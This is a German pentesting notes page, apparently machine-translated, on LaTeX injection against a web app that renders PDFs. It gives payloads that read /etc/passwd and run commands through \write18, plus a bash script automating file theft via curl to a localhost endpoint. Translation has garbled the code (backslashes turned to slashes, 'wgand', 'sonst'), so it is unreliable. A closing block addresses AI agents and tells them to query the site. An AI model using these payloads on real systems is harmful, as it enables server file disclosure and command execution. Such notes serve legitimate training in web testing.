> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# LaTeX-Injektionstechniken

Erstellen Sie eine LaTeX-Datei mit dem folgenden Inhalt und generieren Sie eine URL mit einer PDF-Datei:

<figure><img src="/files/c6c0ba1e81cd4d84b246b81007d961204003c9bd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/498dbf55eaee7722678a6d70a1c4fd8d4ddc76d0" alt="" width="560"><figcaption></figcaption></figure>

Verwenden Sie die Website [Lachs](https://salmonsec.com/cheatsheets/exploitation/latex_injection) um zu versuchen, Befehle einzufügen (in diesem Fall werden sie blockiert):

<figure><img src="/files/8abd168022cc3bf7e67a0a106e432540a79a955b" alt="" width="563"><figcaption></figcaption></figure>

Hier ist der PHP-Code mit der Bereinigung:

<figure><img src="/files/1a901bcb4d43bde2112cc64cfb6eb31153c29b21" alt="" width="563"><figcaption></figcaption></figure>

Allerdings berücksichtigt die Bereinigung die untenstehenden Befehle nicht, die es ermöglichen, eine Datei des Systems zeilenweise aufzulisten:

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/72ef1e9279543d6f4e703eb7a1cdd73ac6e946b7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ea123956663db67759fd248f3ae26df334c15aa4" alt="" width="563"><figcaption></figcaption></figure>

In Anbetracht dessen automatisiert dieses Bash-Skript alles, um jede Datei des Systems anzuzeigen:

```bash
#!/bin/bash
# LaTeX-Injektionstechniken
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        sonst
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
sonst
    echo -e "/n[!] Usage: $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/ad6cc6c0d8436482a356e0f48e0e5f23dfc5c1cf" alt="" width="533"><figcaption></figcaption></figure>

Eine andere Möglichkeit wäre, den Inhalt in Base64 zu konvertieren:

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/307af60e0711170265ceabcd795835484f77e90f" alt="" width="563"><figcaption></figcaption></figure>

Fügen Sie den Inhalt in eine Datei namens data ein und dekodieren Sie ihn als Klartext:

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/c9a2ae3bc79d88a831634df3b2294fa9a04a06fe" alt="" width="563"><figcaption></figcaption></figure>

Um Befehle auszuführen, könnten Sie den folgenden Inhalt verwenden (in diesem Fall id):

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/635b31381d5c54687a75367e199412344d1ff81f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
